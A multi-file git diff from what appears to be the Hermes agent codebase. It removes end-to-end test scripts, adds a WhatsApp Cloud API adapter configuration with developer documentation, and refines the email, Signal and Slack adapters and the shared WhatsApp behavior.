|
||||
}
|
||||
@@ -1,174 +0,0 @@
|
||||
#!/usr/bin/env node
|
||||
/**
|
||||
* Bundle tui-replay traces into a single self-contained HTML file.
|
||||
*
|
||||
* Run from the repo root after e2e tests complete:
|
||||
* node e2e/scripts/bundle-replay-html.mjs
|
||||
*
|
||||
* Input: e2e/tui-traces/ (default @microsoft/tui-test output dir)
|
||||
* Output: tui-replay-viewer/replay.html (uploaded as a GHA artifact)
|
||||
*/
|
||||
import { createReplayDataSource } from 'tui-replay';
|
||||
import { readFile, writeFile, mkdir, access } from 'node:fs/promises';
|
||||
import { resolve, join, dirname } from 'node:path';
|
||||
import { fileURLToPath, pathToFileURL } from 'node:url';
|
||||
|
||||
const __dirname = dirname(fileURLToPath(import.meta.url));
|
||||
const repoRoot = resolve(__dirname, '../..');
|
||||
|
||||
// tui-replay/dist/ — resolved via ESM so package exports are honoured
|
||||
const tuiReplayDist = dirname(fileURLToPath(import.meta.resolve('tui-replay')));
|
||||
|
||||
const tracesDir = resolve(repoRoot, 'e2e/tui-traces');
|
||||
const outputDir = resolve(repoRoot, 'tui-replay-viewer');
|
||||
const outputFile = join(outputDir, 'replay.html');
|
||||
|
||||
// ── exact strings to patch in client.js ────────────────────────────────────
|
||||
const SELECTORS_IMPORT =
|
||||
'import { annotationsForFrame, frameIndexAtTime, timelineItems } from "../preview/selectors.js";';
|
||||
|
||||
// Lines 166-172 of dist/viewer/client.js (0.4.x)
|
||||
const FETCH_ORIGINAL = `async function fetchPreviewModel() {
|
||||
const response = await fetch("/api/traces");
|
||||
if (!response.ok) {
|
||||
throw new Error(\`Unable to load traces: \${response.status}\`);
|
||||
}
|
||||
return (await response.json());
|
||||
}`;
|
||||
const FETCH_PATCHED = `async function fetchPreviewModel() {
|
||||
return __INLINE_MODEL__;
|
||||
}`;
|
||||
|
||||
// Lines 140-149 of dist/viewer/client.js (0.4.x)
|
||||
const CONNECT_ORIGINAL = `function connectLiveUpdates() {
|
||||
if (!("EventSource" in window)) {
|
||||
startPollingLiveUpdates();
|
||||
return;
|
||||
}
|
||||
const events = new EventSource("/api/events");
|
||||
events.addEventListener("model", (event) => {
|
||||
applyModelUpdate(JSON.parse(event.data));
|
||||
});
|
||||
}`;
|
||||
const CONNECT_PATCHED = `function connectLiveUpdates() {
|
||||
/* static mode: no live updates */
|
||||
}`;
|
||||
// ───────────────────────────────────────────────────────────────────────────
|
||||
|
||||
async function main() {
|
||||
// Gracefully skip when traces haven't been written yet (e.g. tests skipped)
|
||||
try {
|
||||
await access(tracesDir);
|
||||
} catch {
|
||||
console.log(`tui-traces dir not found at ${tracesDir} — skipping HTML bundle.`);
|
||||
process.exit(0);
|
||||
}
|
||||
|
||||
console.log(`Loading traces from ${tracesDir} …`);
|
||||
const dataSource = createReplayDataSource({
|
||||
inputs: [tracesDir],
|
||||
projectRoot: repoRoot,
|
||||
});
|
||||
const model = await dataSource.load();
|
||||
|
||||
if (model.traces.length === 0) {
|
||||
console.log('No traces found — skipping HTML bundle.');
|
||||
process.exit(0);
|
||||
}
|
||||
console.log(`Found ${model.traces.length} trace(s).`);
|
||||
|
||||
// ── Load tui-replay dist assets ──────────────────────────────────────────
|
||||
// renderIndexHtml is internal (not in the public index.js export) so we
|
||||
// import it directly from the dist path.
|
||||
const { renderIndexHtml } = await import(
|
||||
pathToFileURL(join(tuiReplayDist, 'server/html.js')).href
|
||||
);
|
||||
|
||||
const [rawClientJs, rawSelectorsJs] = await Promise.all([
|
||||
readFile(join(tuiReplayDist, 'viewer/client.js'), 'utf8'),
|
||||
readFile(join(tuiReplayDist, 'preview/selectors.js'), 'utf8'),
|
||||
]);
|
||||
|
||||
// ── Patch client.js for static/embedded use ──────────────────────────────
|
||||
let clientJs = rawClientJs;
|
||||
|
||||
// 1. Remove the ES module import (selectors will be inlined above it)
|
||||
if (!clientJs.includes(SELECTORS_IMPORT)) {
|
||||
throw new Error(
|
||||
'Could not find selectors import in client.js — tui-replay may have updated. ' +
|
||||
'Please update the SELECTORS_IMPORT constant in bundle-replay-html.mjs.'
|
||||
);
|
||||
}
|
||||
clientJs = clientJs.replace(SELECTORS_IMPORT + '\n', '');
|
||||
|
||||
// 2. Replace the live fetch with a return of the inlined model
|
||||
if (!clientJs.includes(FETCH_ORIGINAL)) {
|
||||
throw new Error(
|
||||
'Could not find fetchPreviewModel body in client.js — tui-replay may have updated. ' +
|
||||
'Please update FETCH_ORIGINAL in bundle-replay-html.mjs.'
|
||||
);
|
||||
}
|
||||
clientJs = clientJs.replace(FETCH_ORIGINAL, FETCH_PATCHED);
|
||||
|
||||
// 3. Disable live-reload SSE/polling (no server in static mode)
|
||||
if (!clientJs.includes(CONNECT_ORIGINAL)) {
|
||||
throw new Error(
|
||||
'Could not find connectLiveUpdates body in client.js — tui-replay may have updated. ' +
|
||||
'Please update CONNECT_ORIGINAL in bundle-replay-html.mjs.'
|
||||
);
|
||||
}
|
||||
clientJs = clientJs.replace(CONNECT_ORIGINAL, CONNECT_PATCHED);
|
||||
|
||||
// Strip sourcemap comment (optional — keeps file clean in artifact viewer)
|
||||
clientJs = clientJs.replace(/\n\/\/#\s*sourceMappingURL=client\.js\.map\s*$/, '');
|
||||
|
||||
// ── Prepare selectors for inline use ─────────────────────────────────────
|
||||
// Remove `export` keyword so the functions are available in the same
|
||||
// module scope as client.js (they're no longer imported — they're just
|
||||
// declared above client.js in the same <script type="module"> block).
|
||||
const selectorsInline = rawSelectorsJs
|
||||
.replace(/^export function /gm, 'function ')
|
||||
.replace(/\n\/\/#\s*sourceMappingURL=selectors\.js\.map\s*$/, '');
|
||||
|
||||
// ── Embed model JSON ──────────────────────────────────────────────────────
|
||||
// JSON.stringify is safe inside a JS string but escape </script> sequences
|
||||
// just in case trace content contains them.
|
||||
const modelJsonString = JSON.stringify(model).replace(/<\/script>/gi, '<\\/script>');
|
||||
|
||||
// ── Assemble HTML ─────────────────────────────────────────────────────────
|
||||
const htmlTemplate = renderIndexHtml();
|
||||
|
||||
const SCRIPT_TAG = '<script type="module" src="/assets/client.js"></script>';
|
||||
if (!htmlTemplate.includes(SCRIPT_TAG)) {
|
||||
throw new Error(
|
||||
'Could not find the client script tag in the HTML template — ' +
|
||||
'tui-replay may have updated. Please update SCRIPT_TAG in bundle-replay-html.mjs.'
|
||||
);
|
||||
}
|
||||
|
||||
const inlinedHtml = htmlTemplate.replace(
|
||||
SCRIPT_TAG,
|
||||
`<script type="module">
|
||||
/* tui-replay selectors (inlined) */
|
||||
${selectorsInline}
|
||||
|
||||
/* trace model (embedded at bundle time) */
|
||||
const __INLINE_MODEL__ = JSON.parse(${JSON.stringify(modelJsonString)});
|
||||
|
||||
/* tui-replay client (patched for static mode) */
|
||||
${clientJs}
|
||||
</script>`
|
||||
);
|
||||
|
||||
// ── Write output ──────────────────────────────────────────────────────────
|
||||
await mkdir(outputDir, { recursive: true });
|
||||
await writeFile(outputFile, inlinedHtml, 'utf8');
|
||||
|
||||
const sizeKb = (Buffer.byteLength(inlinedHtml, 'utf8') / 1024).toFixed(1);
|
||||
console.log(`✓ Wrote ${outputFile} (${sizeKb} KB, ${model.traces.length} trace(s))`);
|
||||
}
|
||||
|
||||
main().catch((err) => {
|
||||
console.error('bundle-replay-html failed:', err.message ?? err);
|
||||
process.exit(1);
|
||||
});
|
||||
@@ -1,30 +0,0 @@
|
||||
// import { test, expect } from "@microsoft/tui-test";
|
||||
// import {mkdtempSync, rmSync} from "fs"
|
||||
|
||||
// const CTRL_C = "\x03";
|
||||
|
||||
// test.describe("Hermes CLI basics", () => {
|
||||
// const HERMES_HOME = mkdtempSync("hermes-home")
|
||||
// test.use({
|
||||
// env: {HERMES_HOME},
|
||||
// })
|
||||
// test("hermes command is available and shows version", async ({ terminal }) => {
|
||||
// terminal.write("hermes --version\n");
|
||||
// // Wait for the version output to appear
|
||||
// await expect(terminal.getByText(/hermes/gi, { full: false })).toBeVisible({ timeout: 15000 });
|
||||
// });
|
||||
|
||||
// test("hermes setup wizard starts interactively", async ({ terminal }) => {
|
||||
// terminal.write("hermes setup\n");
|
||||
|
||||
// // Wait for the wizard to start (e.g., looking for "Configure Hermes Agent" or similar)
|
||||
// await expect(terminal.getByText(/configure|setup|wizard|api key/gi)).toBeVisible({ timeout: 15000 });
|
||||
|
||||
// // Wait for the abort/exit message (KeyboardInterrupt is what python emits on ctrl+c)
|
||||
// await expect(terminal.getByText(/abort|cancel|exit|terminated|keyboardinterrupt/gi)).toBeVisible({ timeout: 5000 });
|
||||
// });
|
||||
|
||||
// test.afterAll(() => {
|
||||
// rmSync(HERMES_HOME, { force: true,recursive: true})
|
||||
// })
|
||||
// });
|
||||
@@ -1,24 +0,0 @@
|
||||
import { test, expect, Shell } from "@microsoft/tui-test";
|
||||
import {mkdtempSync, rmSync} from "fs"
|
||||
|
||||
if(process.env.CI === "true") {
|
||||
test.describe("install hermes", () => {
|
||||
const HERMES_HOME = mkdtempSync("hermes-home")
|
||||
test.use({
|
||||
shell: Shell.Bash,
|
||||
env: {HERMES_HOME},
|
||||
})
|
||||
|
||||
test("hermes installer works", async ({ terminal }) => {
|
||||
// simulate curl | bash for installer script
|
||||
terminal.write("cat $GITHUB_WORKSPACE/scripts/install.sh | bash\n");
|
||||
// Wait for the version output to appear
|
||||
await expect(terminal.getByText(/asdfasdfasdf/gi, { full: false })).toBeVisible({ timeout: 150000 });
|
||||
});
|
||||
|
||||
test.afterAll(() => {
|
||||
rmSync(HERMES_HOME, { force: true,recursive: true})
|
||||
})
|
||||
});
|
||||
|
||||
}
|
||||
@@ -142,6 +142,7 @@ class GatewayAuthorizationMixin:
|
||||
Platform.TELEGRAM: "TELEGRAM_ALLOWED_USERS",
|
||||
Platform.DISCORD: "DISCORD_ALLOWED_USERS",
|
||||
Platform.WHATSAPP: "WHATSAPP_ALLOWED_USERS",
|
||||
Platform.WHATSAPP_CLOUD: "WHATSAPP_CLOUD_ALLOWED_USERS",
|
||||
Platform.SLACK: "SLACK_ALLOWED_USERS",
|
||||
Platform.SIGNAL: "SIGNAL_ALLOWED_USERS",
|
||||
Platform.EMAIL: "EMAIL_ALLOWED_USERS",
|
||||
@@ -168,6 +169,7 @@ class GatewayAuthorizationMixin:
|
||||
Platform.TELEGRAM: "TELEGRAM_ALLOW_ALL_USERS",
|
||||
Platform.DISCORD: "DISCORD_ALLOW_ALL_USERS",
|
||||
Platform.WHATSAPP: "WHATSAPP_ALLOW_ALL_USERS",
|
||||
Platform.WHATSAPP_CLOUD: "WHATSAPP_CLOUD_ALLOW_ALL_USERS",
|
||||
Platform.SLACK: "SLACK_ALLOW_ALL_USERS",
|
||||
Platform.SIGNAL: "SIGNAL_ALLOW_ALL_USERS",
|
||||
Platform.EMAIL: "EMAIL_ALLOW_ALL_USERS",
|
||||
@@ -401,6 +403,7 @@ class GatewayAuthorizationMixin:
|
||||
Platform.TELEGRAM: "TELEGRAM_ALLOWED_USERS",
|
||||
Platform.DISCORD: "DISCORD_ALLOWED_USERS",
|
||||
Platform.WHATSAPP: "WHATSAPP_ALLOWED_USERS",
|
||||
Platform.WHATSAPP_CLOUD: "WHATSAPP_CLOUD_ALLOWED_USERS",
|
||||
Platform.SLACK: "SLACK_ALLOWED_USERS",
|
||||
Platform.SIGNAL: "SIGNAL_ALLOWED_USERS",
|
||||
Platform.EMAIL: "EMAIL_ALLOWED_USERS",
|
||||
|
||||
@@ -145,6 +145,7 @@ class Platform(Enum):
|
||||
TELEGRAM = "telegram"
|
||||
DISCORD = "discord"
|
||||
WHATSAPP = "whatsapp"
|
||||
WHATSAPP_CLOUD = "whatsapp_cloud"
|
||||
SLACK = "slack"
|
||||
SIGNAL = "signal"
|
||||
MATTERMOST = "mattermost"
|
||||
@@ -462,6 +463,9 @@ _PLATFORM_CONNECTED_CHECKERS: dict[Platform, Callable[[PlatformConfig], bool]] =
|
||||
cfg.extra.get("account_id") and (cfg.token or cfg.extra.get("token"))
|
||||
),
|
||||
Platform.WHATSAPP: lambda cfg: True, # bridge handles auth
|
||||
Platform.WHATSAPP_CLOUD: lambda cfg: bool(
|
||||
cfg.extra.get("phone_number_id") and cfg.extra.get("access_token")
|
||||
),
|
||||
Platform.SIGNAL: lambda cfg: bool(cfg.extra.get("http_url")),
|
||||
Platform.EMAIL: lambda cfg: bool(cfg.extra.get("address")),
|
||||
Platform.SMS: lambda cfg: bool(os.getenv("TWILIO_ACCOUNT_SID")),
|
||||
@@ -1429,6 +1433,61 @@ def _apply_env_overrides(config: GatewayConfig) -> None:
|
||||
thread_id=os.getenv("WHATSAPP_HOME_CHANNEL_THREAD_ID") or None,
|
||||
)
|
||||
|
||||
# WhatsApp Cloud API (official Business Platform via Meta).
|
||||
# Distinct from the Baileys bridge: pure HTTP graph.facebook.com calls
|
||||
# outbound, public webhook inbound. Both adapters can run in parallel
|
||||
# against different phone numbers.
|
||||
whatsapp_cloud_phone_id = os.getenv("WHATSAPP_CLOUD_PHONE_NUMBER_ID")
|
||||
whatsapp_cloud_token = os.getenv("WHATSAPP_CLOUD_ACCESS_TOKEN")
|
||||
if whatsapp_cloud_phone_id and whatsapp_cloud_token:
|
||||
if Platform.WHATSAPP_CLOUD not in config.platforms:
|
||||
config.platforms[Platform.WHATSAPP_CLOUD] = PlatformConfig()
|
||||
config.platforms[Platform.WHATSAPP_CLOUD].enabled = True
|
||||
config.platforms[Platform.WHATSAPP_CLOUD].extra.update({
|
||||
"phone_number_id": whatsapp_cloud_phone_id,
|
||||
"access_token": whatsapp_cloud_token,
|
||||
})
|
||||
# Optional: app_id / app_secret (signature verification)
|
||||
wa_cloud_app_id = os.getenv("WHATSAPP_CLOUD_APP_ID")
|
||||
if wa_cloud_app_id:
|
||||
config.platforms[Platform.WHATSAPP_CLOUD].extra["app_id"] = wa_cloud_app_id
|
||||
wa_cloud_app_secret = os.getenv("WHATSAPP_CLOUD_APP_SECRET")
|
||||
if wa_cloud_app_secret:
|
||||
config.platforms[Platform.WHATSAPP_CLOUD].extra["app_secret"] = wa_cloud_app_secret
|
||||
# Optional: WABA id (analytics, future use)
|
||||
wa_cloud_waba_id = os.getenv("WHATSAPP_CLOUD_WABA_ID")
|
||||
if wa_cloud_waba_id:
|
||||
config.platforms[Platform.WHATSAPP_CLOUD].extra["waba_id"] = wa_cloud_waba_id
|
||||
# Webhook verify token — Meta hub.verify_token shared secret
|
||||
wa_cloud_verify_token = os.getenv("WHATSAPP_CLOUD_VERIFY_TOKEN")
|
||||
if wa_cloud_verify_token:
|
||||
config.platforms[Platform.WHATSAPP_CLOUD].extra["verify_token"] = wa_cloud_verify_token
|
||||
# Webhook server bind config (defaults baked into the adapter)
|
||||
wa_cloud_host = os.getenv("WHATSAPP_CLOUD_WEBHOOK_HOST")
|
||||
if wa_cloud_host:
|
||||
config.platforms[Platform.WHATSAPP_CLOUD].extra["webhook_host"] = wa_cloud_host
|
||||
wa_cloud_port = os.getenv("WHATSAPP_CLOUD_WEBHOOK_PORT")
|
||||
if wa_cloud_port:
|
||||
try:
|
||||
config.platforms[Platform.WHATSAPP_CLOUD].extra["webhook_port"] = int(wa_cloud_port)
|
||||
except ValueError:
|
||||
pass
|
||||
wa_cloud_path = os.getenv("WHATSAPP_CLOUD_WEBHOOK_PATH")
|
||||
if wa_cloud_path:
|
||||
config.platforms[Platform.WHATSAPP_CLOUD].extra["webhook_path"] = wa_cloud_path
|
||||
# Graph API version override (rarely needed)
|
||||
wa_cloud_api_version = os.getenv("WHATSAPP_CLOUD_API_VERSION")
|
||||
if wa_cloud_api_version:
|
||||
config.platforms[Platform.WHATSAPP_CLOUD].extra["api_version"] = wa_cloud_api_version
|
||||
whatsapp_cloud_home = os.getenv("WHATSAPP_CLOUD_HOME_CHANNEL")
|
||||
if whatsapp_cloud_home and Platform.WHATSAPP_CLOUD in config.platforms:
|
||||
config.platforms[Platform.WHATSAPP_CLOUD].home_channel = HomeChannel(
|
||||
platform=Platform.WHATSAPP_CLOUD,
|
||||
chat_id=whatsapp_cloud_home,
|
||||
name=os.getenv("WHATSAPP_CLOUD_HOME_CHANNEL_NAME", "Home"),
|
||||
thread_id=os.getenv("WHATSAPP_CLOUD_HOME_CHANNEL_THREAD_ID") or None,
|
||||
)
|
||||
|
||||
# Slack
|
||||
slack_token = os.getenv("SLACK_BOT_TOKEN")
|
||||
if slack_token:
|
||||
|
||||
@@ -123,6 +123,12 @@ _PLATFORM_DEFAULTS: dict[str, dict[str, Any]] = {
|
||||
# Tier 3 — no edit support, progress messages are permanent
|
||||
"signal": _TIER_LOW,
|
||||
"whatsapp": _TIER_MEDIUM, # Baileys bridge supports /edit
|
||||
# WhatsApp Cloud API: Meta added message editing in 2023 but the
|
||||
# Hermes Cloud adapter doesn't implement edit_message yet, so we
|
||||
# stay on TIER_LOW (tool_progress off) to avoid spamming each
|
||||
# status update as a separate message. Promote to TIER_MEDIUM once
|
||||
# Cloud's edit_message lands.
|
||||
"whatsapp_cloud": _TIER_LOW,
|
||||
"bluebubbles": _TIER_LOW,
|
||||
"weixin": _TIER_LOW,
|
||||
"wecom": _TIER_LOW,
|
||||
|
||||
@@ -52,6 +52,22 @@ for the full pattern (Template Buttons postback at 45s, `RequestCache`
|
||||
state machine, `interrupt_session_activity` override for `/stop`
|
||||
orphans) and the developer-guide page for the prose walkthrough.
|
||||
|
||||
**Sibling adapters that share behavior.** When a single platform has
|
||||
two transport modes the user picks between — unofficial vs official
|
||||
APIs, polling vs websocket, library A vs library B — the right
|
||||
structure is two adapters that share a behavior mixin. WhatsApp does
|
||||
this: `gateway/platforms/whatsapp.py` (Baileys bridge) and
|
||||
`gateway/platforms/whatsapp_cloud.py` (Meta Cloud API) both inherit
|
||||
from `WhatsAppBehaviorMixin` in `gateway/platforms/whatsapp_common.py`.
|
||||
The mixin owns gating, allow-lists, mention parsing, broadcast
|
||||
filters, and the WhatsApp-flavored markdown conversion — everything
|
||||
that's platform-protocol-agnostic. Each adapter owns its transport.
|
||||
Both register distinct `Platform.*` enum values so the gateway can run
|
||||
both simultaneously against different phone numbers. The mixin must
|
||||
come **first** in the bases list — `class WhatsAppAdapter(Mixin,
|
||||
BasePlatformAdapter)` — so the mixin's `format_message` overrides
|
||||
`BasePlatformAdapter`'s generic default.
|
||||
|
||||
See `plugins/platforms/irc/`, `plugins/platforms/teams/`, and
|
||||
`plugins/platforms/google_chat/` for complete working examples, and
|
||||
`website/docs/developer-guide/adding-platform-adapters.md` for the full
|
||||
@@ -94,6 +110,19 @@ The adapter is a subclass of `BasePlatformAdapter` from `gateway/platforms/base.
|
||||
| `send_animation(chat_id, path, caption)` | Send a GIF/animation |
|
||||
| `send_image_file(chat_id, path, caption)` | Send image from local file |
|
||||
|
||||
### Interactive UX (recommended if your platform supports tappable buttons)
|
||||
|
||||
If your platform supports interactive button/menu messages, implement these for a more polished agent experience. They all degrade gracefully to plain text when not overridden:
|
||||
|
||||
| Method | Purpose |
|
||||
|--------|---------|
|
||||
| `send_clarify(chat_id, question, choices, clarify_id, session_key, ...)` | Render the `clarify` tool's multi-choice question as tappable buttons. Pair with inbound dispatch that routes button taps to `tools.clarify_gateway.resolve_gateway_clarify`. |
|
||||
| `send_exec_approval(chat_id, command, session_key, description, ...)` | Render dangerous-command approval as Approve/Deny buttons. Inbound dispatch routes to `tools.approval.resolve_gateway_approval`. |
|
||||
| `send_slash_confirm(chat_id, title, message, session_key, confirm_id, ...)` | Render slash-command confirmations (e.g. `/reload-mcp`) as Once/Always/Cancel buttons. Inbound dispatch routes to `tools.slash_confirm.resolve`. |
|
||||
| `send_model_picker(...)` | Interactive `/model` picker. Used by Telegram and Discord. |
|
||||
|
||||
See `gateway/platforms/telegram.py`, `discord.py`, and `whatsapp_cloud.py` for reference implementations. The button-callback id convention (`cl:<id>:<idx>`, `appr:<id>:<choice>`, `sc:<choice>:<id>`) is shared across adapters — match it so the gateway-side resolvers work without modification.
|
||||
|
||||
### Required function
|
||||
|
||||
```python
|
||||
|
||||
@@ -470,8 +470,15 @@ class EmailAdapter(BasePlatformAdapter):
|
||||
for att in attachments:
|
||||
media_urls.append(att["path"])
|
||||
media_types.append(att["media_type"])
|
||||
if att["type"] == "image":
|
||||
if att["type"] == "image" and msg_type == MessageType.TEXT:
|
||||
msg_type = MessageType.PHOTO
|
||||
elif att["type"] == "document":
|
||||
# Document wins over PHOTO for mixed attachments: run.py's
|
||||
# image handling keys off the per-path image/* mime type
|
||||
# regardless of message_type, but document-context injection
|
||||
# gates strictly on MessageType.DOCUMENT — so DOCUMENT is the
|
||||
# only classification that surfaces both.
|
||||
msg_type = MessageType.DOCUMENT
|
||||
|
||||
# Store thread context for reply threading
|
||||
self._thread_context[sender_addr] = {
|
||||
|
||||
@@ -602,6 +602,14 @@ class SignalAdapter(BasePlatformAdapter):
|
||||
msg_type = MessageType.VOICE
|
||||
elif any(mt.startswith("image/") for mt in media_types):
|
||||
msg_type = MessageType.PHOTO
|
||||
elif any(mt.startswith("video/") for mt in media_types):
|
||||
msg_type = MessageType.VIDEO
|
||||
else:
|
||||
# Catch-all: application/*, text/*, and unknown MIME types are
|
||||
# treated as documents so run.py's document-context injection
|
||||
# surfaces the cached file path to the agent (same pattern as
|
||||
# WhatsApp/Slack/BlueBubbles/Mattermost).
|
||||
msg_type = MessageType.DOCUMENT
|
||||
|
||||
# Parse timestamp from envelope data (milliseconds since epoch)
|
||||
ts_ms = envelope_data.get("timestamp", 0)
|
||||
|
||||
@@ -890,6 +890,18 @@ class SlackAdapter(BasePlatformAdapter):
|
||||
async def handle_file_change(event, say):
|
||||
pass
|
||||
|
||||
# Reactions are useful lightweight acknowledgements in Slack, but
|
||||
# Hermes does not currently need to route them into the agent loop.
|
||||
# Ack the events explicitly so high-traffic channels do not fill
|
||||
# gateway.error.log with Slack Bolt "Unhandled request" warnings.
|
||||
@self._app.event("reaction_added")
|
||||
async def handle_reaction_added(event, say):
|
||||
pass
|
||||
|
||||
@self._app.event("reaction_removed")
|
||||
async def handle_reaction_removed(event, say):
|
||||
pass
|
||||
|
||||
@self._app.event("assistant_thread_started")
|
||||
async def handle_assistant_thread_started(event, say):
|
||||
await self._handle_assistant_thread_lifecycle_event(event)
|
||||
@@ -949,6 +961,59 @@ class SlackAdapter(BasePlatformAdapter):
|
||||
):
|
||||
self._app.action(_action_id)(self._handle_slash_confirm_action)
|
||||
|
||||
# Register plugin-provided Block Kit action handlers.
|
||||
#
|
||||
# Plugins call ``ctx.register_slack_action_handler(action_id, cb)``
|
||||
# at register() time; the manager queues them and the adapter
|
||||
# wires them into AsyncApp here so slack_bolt's matcher knows
|
||||
# about them before Socket Mode starts dispatching events.
|
||||
#
|
||||
# Each callback is wrapped so a misbehaving plugin can't take
|
||||
# down the gateway: any exception inside the plugin handler is
|
||||
# caught and logged, and slack_bolt still sees a clean ack.
|
||||
try:
|
||||
from hermes_cli.plugins import get_plugin_manager
|
||||
_plugin_handlers = get_plugin_manager().get_slack_action_handlers()
|
||||
except Exception as e: # pragma: no cover - defensive
|
||||
logger.warning(
|
||||
"[Slack] Could not load plugin action handlers: %s", e,
|
||||
)
|
||||
_plugin_handlers = []
|
||||
|
||||
# Closure factory — keeps the wrapper's signature limited to
|
||||
# ``(ack, body, action)``. slack_bolt inspects listener
|
||||
# signatures via ``inspect.signature`` and passes ``None`` for
|
||||
# any parameter name it doesn't recognise, so capturing loop
|
||||
# vars as default args (``_cb=_cb`` etc.) silently clobbers
|
||||
# them at dispatch time.
|
||||
def _make_wrapper(cb, plugin_name):
|
||||
async def _wrapped(ack, body, action):
|
||||
try:
|
||||
await cb(ack, body, action)
|
||||
except Exception as exc: # pragma: no cover - defensive
|
||||
logger.error(
|
||||
"[Slack] Plugin '%s' action handler raised: %s",
|
||||
plugin_name, exc, exc_info=True,
|
||||
)
|
||||
# Best-effort ack so Slack doesn't retry the click.
|
||||
try:
|
||||
await ack()
|
||||
except Exception:
|
||||
pass
|
||||
return _wrapped
|
||||
|
||||
for _action_id, _cb, _plugin_name in _plugin_handlers:
|
||||
self._app.action(_action_id)(_make_wrapper(_cb, _plugin_name))
|
||||
logger.debug(
|
||||
"[Slack] Registered plugin action handler %s (from %s)",
|
||||
_action_id, _plugin_name,
|
||||
)
|
||||
if _plugin_handlers:
|
||||
logger.info(
|
||||
"[Slack] Wired %d plugin action handler(s)",
|
||||
len(_plugin_handlers),
|
||||
)
|
||||
|
||||
# Bring up the handler and watchdog atomically. ``_running`` only
|
||||
# flips to True after the handler is alive so the watchdog loop
|
||||
# observes the live task immediately; on any failure here we tear
|
||||
|
||||
@@ -16,11 +16,9 @@ with different backends via a bridge pattern.
|
||||
"""
|
||||
|
||||
import asyncio
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
import platform
|
||||
import re
|
||||
import shutil
|
||||
import signal
|
||||
import subprocess
|
||||
@@ -180,6 +178,7 @@ import sys
|
||||
sys.path.insert(0, str(Path(__file__).resolve().parents[2]))
|
||||
|
||||
from gateway.config import Platform, PlatformConfig
|
||||
from gateway.platforms.whatsapp_common import WhatsAppBehaviorMixin
|
||||
from gateway.platforms.base import (
|
||||
BasePlatformAdapter,
|
||||
MessageEvent,
|
||||
@@ -231,7 +230,7 @@ def check_whatsapp_requirements() -> bool:
|
||||
return False
|
||||
|
||||
|
||||
class WhatsAppAdapter(BasePlatformAdapter):
|
||||
class WhatsAppAdapter(WhatsAppBehaviorMixin, BasePlatformAdapter):
|
||||
"""
|
||||
WhatsApp adapter.
|
||||
|
||||
@@ -253,14 +252,12 @@ class WhatsAppAdapter(BasePlatformAdapter):
|
||||
- allow_from: List of sender IDs allowed in DMs (when dm_policy="allowlist")
|
||||
- group_policy: "open" | "allowlist" | "disabled" — which groups are processed (default: "open")
|
||||
- group_allow_from: List of group JIDs allowed (when group_policy="allowlist")
|
||||
|
||||
Behavior (gating, mention parsing, markdown conversion, chunking) is
|
||||
provided by ``WhatsAppBehaviorMixin`` so the Cloud API adapter can
|
||||
share it. Only transport-specific code lives here.
|
||||
"""
|
||||
|
||||
# WhatsApp message limits — practical UX limit, not protocol max.
|
||||
# WhatsApp allows ~65K but long messages are unreadable on mobile.
|
||||
MAX_MESSAGE_LENGTH = 4096
|
||||
supports_code_blocks = True # WhatsApp renders fenced code blocks (monospace)
|
||||
DEFAULT_REPLY_PREFIX = "⚕ *Hermes Agent*\n────────────\n"
|
||||
|
||||
|
||||
# Default bridge location relative to the hermes-agent install
|
||||
_DEFAULT_BRIDGE_DIR = Path(__file__).resolve().parents[2] / "scripts" / "whatsapp-bridge"
|
||||
|
||||
@@ -332,218 +329,6 @@ class WhatsAppAdapter(BasePlatformAdapter):
|
||||
return float(default)
|
||||
return parsed
|
||||
|
||||
def _effective_reply_prefix(self) -> str:
|
||||
"""Return the prefix the Node bridge will add in self-chat mode."""
|
||||
whatsapp_mode = os.getenv("WHATSAPP_MODE", "self-chat")
|
||||
if whatsapp_mode != "self-chat":
|
||||
return ""
|
||||
if self._reply_prefix is not None:
|
||||
return self._reply_prefix.replace("\\n", "\n")
|
||||
env_prefix = os.getenv("WHATSAPP_REPLY_PREFIX")
|
||||
if env_prefix is not None:
|
||||
return env_prefix.replace("\\n", "\n")
|
||||
return self.DEFAULT_REPLY_PREFIX
|
||||
|
||||
def _outgoing_chunk_limit(self) -> int:
|
||||
"""Reserve room for the bridge-side prefix so final WhatsApp text fits."""
|
||||
prefix_len = len(self._effective_reply_prefix())
|
||||
# Keep enough space for truncate_message's pagination indicator and
|
||||
# code-fence repair even if a user configures a very long prefix.
|
||||
return max(1024, self.MAX_MESSAGE_LENGTH - prefix_len)
|
||||
|
||||
def _whatsapp_require_mention(self) -> bool:
|
||||
configured = self.config.extra.get("require_mention")
|
||||
if configured is not None:
|
||||
if isinstance(configured, str):
|
||||
return configured.lower() in {"true", "1", "yes", "on"}
|
||||
return bool(configured)
|
||||
return os.getenv("WHATSAPP_REQUIRE_MENTION", "false").lower() in {"true", "1", "yes", "on"}
|
||||
|
||||
def _whatsapp_free_response_chats(self) -> set[str]:
|
||||
raw = self.config.extra.get("free_response_chats")
|
||||
if raw is None:
|
||||
raw = os.getenv("WHATSAPP_FREE_RESPONSE_CHATS", "")
|
||||
if isinstance(raw, list):
|
||||
return {str(part).strip() for part in raw if str(part).strip()}
|
||||
return {part.strip() for part in str(raw).split(",") if part.strip()}
|
||||
|
||||
@staticmethod
|
||||
def _coerce_allow_list(raw) -> set[str]:
|
||||
"""Parse allow_from / group_allow_from from config or env var."""
|
||||
if raw is None:
|
||||
return set()
|
||||
if isinstance(raw, list):
|
||||
return {str(part).strip() for part in raw if str(part).strip()}
|
||||
return {part.strip() for part in str(raw).split(",") if part.strip()}
|
||||
|
||||
@staticmethod
|
||||
def _is_broadcast_chat(chat_id: str) -> bool:
|
||||
"""True for WhatsApp pseudo-chats that aren't real conversations.
|
||||
|
||||
Covers Status updates (Stories) and Channel/Newsletter broadcasts.
|
||||
These show up as inbound messages on Baileys but the agent should
|
||||
never reply — answering a Story update spams the contact's status
|
||||
feed, and Channel posts aren't addressable in the first place.
|
||||
"""
|
||||
if not chat_id:
|
||||
return False
|
||||
cid = chat_id.strip().lower()
|
||||
if cid == "status@broadcast":
|
||||
return True
|
||||
# @broadcast suffix covers status@broadcast plus any future
|
||||
# broadcast-list variants. @newsletter is the Channel JID suffix.
|
||||
if cid.endswith("@broadcast") or cid.endswith("@newsletter"):
|
||||
return True
|
||||
return False
|
||||
|
||||
@property
|
||||
def enforces_own_access_policy(self) -> bool:
|
||||
"""WhatsApp gates DM/group access at intake via dm_policy/group_policy."""
|
||||
return True
|
||||
|
||||
def _is_dm_allowed(self, sender_id: str) -> bool:
|
||||
"""Check whether a DM from the given sender should be processed."""
|
||||
